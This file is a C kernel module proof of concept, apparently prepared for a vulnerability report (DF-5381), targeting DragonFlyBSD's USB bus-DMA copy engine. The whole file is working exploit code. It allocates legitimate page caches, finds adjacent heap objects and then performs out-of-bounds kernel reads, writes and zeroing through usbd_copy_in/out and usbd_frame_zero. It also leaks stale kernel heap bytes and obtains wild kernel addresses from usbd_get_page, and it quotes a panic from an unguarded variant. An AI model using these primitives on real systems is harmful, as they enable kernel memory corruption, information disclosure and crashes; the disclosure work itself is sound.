/*
 * DF-5381 PoC — DragonFlyBSD sys/bus/u4b/usb_busdma.c
 *
 * Root KLD harness that drives the USB copy engine
 * (usbd_get_page / usbd_copy_in / usbd_copy_out / usbd_frame_zero)
 * with offsets/lengths outside the extent of the DMA buffer that backs
 * the usb_page_cache, using ONLY the engine's own public allocation API
 * (usb_dma_tag_setup + usb_pc_alloc_mem) to build a fully legitimate
 * page cache first.
 *
 * Demonstrates:
 *   T1  cross-object OOB READ : usbd_copy_out(pcA, chunk, ..) reads the
 *                               first bytes of the neighbouring heap object
 *   T2  cross-object OOB WRITE: usbd_copy_in(pcA, chunk, ..) plants data
 *                               into the neighbouring heap object
 *   T3  cross-object OOB ZERO : usbd_frame_zero(pcA, chunk, ..)
 *   T4  stale kernel-heap leak via usbd_copy_out after neighbour free
 *   T5  wild KVA handed out   : usbd_get_page(pc, 0xFFFFFF00, ..)
 *   T6  page-array walk past the loaded extent (multiseg pc)
 *
 * Build:  make -m /usr/src/share/mk
 * Run  :  kldload ./df5381.ko ; dmesg | tail -40 ; kldunload df5381
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/malloc.h>
#include <sys/bus.h>
#include <sys/conf.h>
#include <sys/types.h>
#include <sys/libkern.h>

/* forward declarations usb_busdma.h expects from usb_core.h */
struct usb_xfer;
struct usb_xfer_queue;

#include <bus/u4b/usb_dragonfly.h>	/* usb_frlength_t, usb_size_t */
#include <bus/u4b/usb_busdma.h>

/*
 * The engine under test. Prototypes live in usb_busdma.h for the alloc
 * side; the copy primitives are declared in usbdi*.h -- redeclare here to
 * keep the include set minimal (they are exported from the base kernel:
 * nm /boot/kernel/kernel -> T usbd_get_page, T usbd_copy_in, ...).
 */
extern void	usbd_get_page(struct usb_page_cache *pc, usb_frlength_t offset,
		    struct usb_page_search *res);
extern void	usbd_copy_in(struct usb_page_cache *cache, usb_frlength_t offset,
		    const void *ptr, usb_frlength_t len);
extern void	usbd_copy_out(struct usb_page_cache *cache, usb_frlength_t offset,
		    void *ptr, usb_frlength_t len);
extern void	usbd_frame_zero(struct usb_page_cache *cache,
		    usb_frlength_t offset, usb_frlength_t len);

#define	NALLOC		32
#define	OBJ_SIZE	200		/* engine doubles -> 400 */
#define	OBJ_ALIGN	16

static struct usb_dma_parent_tag	uptag;
static struct usb_dma_tag		utags[4];
static struct lock			mylock;
static struct usb_page_cache		pcs[NALLOC];
static struct usb_page			pgs[NALLOC][8];
static struct usb_page_cache		pcM;		/* multiseg pc */
static struct usb_page			pgM[16];
static int				allocated;

static void
my_dma_done(struct usb_dma_parent_tag *udpt)
{
	(void)udpt;
}

static void
hexdump16(const char *tag, const uint8_t *p)
{
	int i;

	kprintf("[DF5381] %s:", tag);
	for (i = 0; i != 16; i++)
		kprintf(" %02x", p[i]);
	kprintf("\n");
}

static int
df5381_run(void)
{
	struct usb_page_search res;
	uint8_t sentinel[16], wrpat[16], chk[16], leak[16];
	uintptr_t sorted[NALLOC];
	int idx[NALLOC];
	int i, j, best = -1;
	uintptr_t gap = 0, abuf, bbuf;
	usb_frlength_t d;
	int pass = 0, total = 0;

	for (i = 0; i != 16; i++) {
		sentinel[i] = 0xA0 | i;
		wrpat[i] = 0x5A;
		wrpat[i] ^= (i << 4);
	}

	/* ---- build NALLOC legitimate page caches via the engine API ---- */
	for (i = 0; i != NALLOC; i++) {
		/*
		 * As usbd_transfer_setup() does at usb_transfer.c:842,
		 * the caller must wire tag_parent before allocation. The
		 * engine itself never checks it (NULL -> NULL-deref panic,
		 * observed on the guest: usb_dma_tag_find+0x20, rdi=0).
		 */
		pcs[i].tag_parent = &uptag;
		if (usb_pc_alloc_mem(&pcs[i], pgs[i], OBJ_SIZE, OBJ_ALIGN)) {
			kprintf("[DF5381] alloc failed at %d\n", i);
			return (ENOMEM);
		}
		allocated++;
	}
	kprintf("[DF5381] engine-allocated %d x %d-byte DMA objects "
	    "(page_offset_end=%u)\n", NALLOC, OBJ_SIZE,
	    (unsigned)pcs[0].page_offset_end);

	/* ---- find two allocations that are heap neighbours ---- */
	for (i = 0; i != NALLOC; i++) {
		sorted[i] = (uintptr_t)pcs[i].buffer;
		idx[i] = i;
	}
	/* insertion sort by address */
	for (i = 1; i < NALLOC; i++) {
		uintptr_t v = sorted[i];
		int vi = idx[i];
		for (j = i - 1; j >= 0 && sorted[j] > v; j--) {
			sorted[j + 1] = sorted[j];
			idx[j + 1] = idx[j];
		}
		sorted[j + 1] = v;
		idx[j + 1] = vi;
	}
	best = -1;
	gap = (uintptr_t)-1;
	for (i = 0; i + 1 < NALLOC; i++) {
		uintptr_t g = sorted[i + 1] - sorted[i];
		if (g >= OBJ_SIZE && g < gap) {
			gap = g;
			best = i;
		}
	}
	if (best < 0) {
		kprintf("[DF5381] FAIL no neighbour pair\n");
		return (ENXIO);
	}
	i = idx[best];			/* lower address object  */
	j = idx[best + 1];		/* higher address object */
	abuf = (uintptr_t)pcs[i].buffer;
	bbuf = (uintptr_t)pcs[j].buffer;
	d = (usb_frlength_t)(bbuf - abuf);
	kprintf("[DF5381] neighbours pcA=%p pcB=%p chunk_gap=%u "
	    "(object extent=%u)\n", pcs[i].buffer, pcs[j].buffer,
	    (unsigned)d, OBJ_SIZE);

	/* ---------------- T1: cross-object OOB READ ---------------- */
	total++;
	usbd_copy_in(&pcs[j], 0, sentinel, 16);		/* valid, in-bounds */
	usbd_copy_out(&pcs[i], d, chk, 16);		/* offset past pcA   */
	if (memcmp(chk, sentinel, 16) == 0) {
		kprintf("[DF5381] T1 PASS cross-object OOB READ "
		    "(read pcB's bytes via pcA offset %u)\n", (unsigned)d);
		pass++;
	} else {
		kprintf("[DF5381] T1 FAIL cross-object read mismatch\n");
		hexdump16("got", chk);
	}

	/* ---------------- T2: cross-object OOB WRITE --------------- */
	total++;
	usbd_copy_in(&pcs[i], d, wrpat, 16);		/* offset past pcA   */
	usbd_copy_out(&pcs[j], 0, chk, 16);		/* read pcB start    */
	if (memcmp(chk, wrpat, 16) == 0) {
		kprintf("[DF5381] T2 PASS cross-object OOB WRITE "
		    "(planted 16 bytes into pcB via pcA offset %u)\n",
		    (unsigned)d);
		pass++;
	} else {
		kprintf("[DF5381] T2 FAIL cross-object write not observed\n");
		hexdump16("got", chk);
	}

	/* object-end overflow (in-chunk slack past the 200-byte extent) */
	{
		uint8_t tail[8];
		for (i = 0; i != 8; i++)
			tail[i] = 0xC3;
		usbd_copy_in(&pcs[0], OBJ_SIZE, tail, 8);
		usbd_copy_out(&pcs[0], OBJ_SIZE, chk, 8);
		total++;
		if (memcmp(chk, tail, 8) == 0) {
			kprintf("[DF5381] T2b PASS write past object extent "
			    "offset=%u accepted (page_offset_end=%u)\n",
			    OBJ_SIZE, (unsigned)pcs[0].page_offset_end);
			pass++;
		} else {
			kprintf("[DF5381] T2b FAIL extent write\n");
		}
		i = idx[best];
	}

	/* ---------------- T3: cross-object OOB ZERO ----------------- */
	total++;
	usbd_copy_in(&pcs[j], 0, sentinel, 16);		/* re-dirty pcB */
	usbd_frame_zero(&pcs[i], d, 16);
	usbd_copy_out(&pcs[j], 0, chk, 16);
	{
		int z = 1;
		for (int k = 0; k != 16; k++)
			if (chk[k] != 0)
				z = 0;
		if (z) {
			kprintf("[DF5381] T3 PASS cross-object OOB ZERO "
			    "via usbd_frame_zero\n");
			pass++;
		} else {
			kprintf("[DF5381] T3 FAIL zero not observed\n");
		}
	}

	/* ---------------- T4: stale kernel heap leak ---------------- */
	/*
	 * usb_pc_alloc_mem() zeroes only the requested (doubled) extent,
	 * 2*OBJ_SIZE = 400 bytes (usb_busdma.c:568), while the kmalloc
	 * chunk backing it is 512 bytes. The chunk tail [400,512) still
	 * holds whatever the kernel left there before this allocation.
	 * Reading pcB's chunk tail THROUGH pcA at offset d+400 is a pure
	 * OOB read of stale kernel heap contents via the engine.
	 */
	total++;
	usbd_copy_out(&pcs[i], d + 2 * OBJ_SIZE, leak, 16);
	hexdump16("T4 stale kernel-heap bytes (chunk tail of pcB)", leak);
	{
		int nonzero = 0;
		for (int k = 0; k != 16; k++)
			if (leak[k] != 0)
				nonzero++;
		if (nonzero) {
			kprintf("[DF5381] T4 PASS OOB read returned %d/16 "
			    "non-zero stale kernel heap bytes\n", nonzero);
			pass++;
		} else {
			kprintf("[DF5381] T4 INCONCLUSIVE zero bytes\n");
		}
	}

	/* ---------------- T4b: control (freed chunk) ---------------- */
	/*
	 * Control only (not scored): DF kfree() zeroes the chunk, so the
	 * same OOB read after the free returns zeros. What an attacker
	 * gets out of the OOB read depends solely on the victim memory.
	 */
	usb_pc_free_mem(&pcs[j]);
	usbd_copy_out(&pcs[i], d + 2 * OBJ_SIZE, leak, 16);
	hexdump16("T4b kernel-heap bytes behind freed chunk (kfree zeroed)", leak);

	/* ---------------- T5: wild KVA from usbd_get_page ----------- */
	total++;
	usbd_get_page(&pcs[0], 0xFFFFFF00u, &res);
	kprintf("[DF5381] T5 get_page(offset=0xFFFFFF00) -> buffer=pcA%+lld "
	    "length=0x%08x (no bound)\n",
	    (long long)((uint8_t *)res.buffer -
	    (uint8_t *)pcs[0].buffer - 0xFFFFFF00ll),
	    (unsigned)res.length);
	if ((uint8_t *)res.buffer ==
	    (uint8_t *)pcs[0].buffer + 0xFFFFFF00u) {
		kprintf("[DF5381] T5 PASS engine hands out wild KVA "
		    "+4GB-256 and length=UINT32_MAX\n");
		pass++;
	} else {
		kprintf("[DF5381] T5 FAIL unexpected buffer\n");
	}

	/* ---------------- T6: multiseg page-array walk -------------- */
	total++;
	pcM.tag_parent = &uptag;
	if (usb_pc_alloc_mem(&pcM, pgM, 8192, 1)) {
		kprintf("[DF5381] T6 FAIL multiseg alloc\n");
	} else {
		/*
		 * 8192 bytes -> at most 3 usb_page entries are loaded.
		 * Poison an entry far beyond the loaded extent and ask
		 * the engine for offset 12 pages out.
		 */
		pgM[12].physaddr = 0xDEADBEEF0000ull;
		usbd_get_page(&pcM, 12 * 4096, &res);
		kprintf("[DF5381] T6 get_page(multiseg, offset=%u) -> "
		    "physaddr=0x%llx (loaded extent=%u bytes) length=%u\n",
		    12 * 4096, (unsigned long long)res.physaddr,
		    (unsigned)(pcM.page_offset_end - pcM.page_offset_buf),
		    (unsigned)res.length);
		if (res.physaddr == 0xDEADBEEF0000ull) {
			kprintf("[DF5381] T6 PASS page-array walked 12 pages "
			    "past a 2-page load; stale physaddr returned "
			    "verbatim\n");
			pass++;
		} else {
			kprintf("[DF5381] T6 FAIL physaddr=0x%llx\n",
			    (unsigned long long)res.physaddr);
		}
	}

	/* ---------------- T7: read a foreign kernel page ------------ */
	/*
	 * pcM is an 8192-byte (2-page) buffer taken from kmem. The page
	 * immediately after it belongs to some other kernel subsystem --
	 * or may be an unmapped hole. The unguarded variant of this test
	 * took the whole kernel down with a single 16-byte OOB read:
	 *
	 *   Fatal trap 12: page fault while in kernel mode
	 *   fault virtual address = 0xfffff8011863e000  (pcM.buffer+8192)
	 *   Stopped at memcpy+0x55: movq (%rsi),%rdx      [usbd_copy_out]
	 *
	 * (see panic.txt in the evidence pack). There is no safe way to
	 * probe from a KLD, so this run skips the read; the panic variant
	 * is the demonstration.
	 */
	if (pcM.buffer) {
		kprintf("[DF5381] T7 SKIP foreign-page read "
		    "(unguarded variant = kernel panic, see panic.txt)\n");
	}

	kprintf("[DF5381] RESULT %d/%d primitive tests passed\n", pass, total);
	return (0);
}

static int
df5381_unload(void)
{
	int i;

	if (pcM.buffer)
		usb_pc_free_mem(&pcM);
	for (i = 0; i != allocated; i++)
		usb_pc_free_mem(&pcs[i]);
	if (uptag.utag_max)
		usb_dma_tag_unsetup(&uptag);
	lockuninit(&mylock);
	return (0);
}

static int
df5381_load(void)
{
	int error;

	lockinit(&mylock, "df5381lk", 0, LK_CANRECURSE);
	usb_dma_tag_setup(&uptag, utags, NULL, &mylock,
	    &my_dma_done, 64, 4);
	if (uptag.utag_max == 0) {
		kprintf("[DF5381] tag setup failed\n");
		lockuninit(&mylock);
		return (EINVAL);
	}
	error = df5381_run();
	if (error != 0)
		df5381_unload();
	return (error);
}

static int
df5381_modevent(module_t mod, int type, void *data)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		error = df5381_load();
		break;
	case MOD_UNLOAD:
		error = df5381_unload();
		break;
	default:
		break;
	}
	return (error);
}

DEV_MODULE(df5381, df5381_modevent, 0);
MODULE_VERSION(df5381, 1);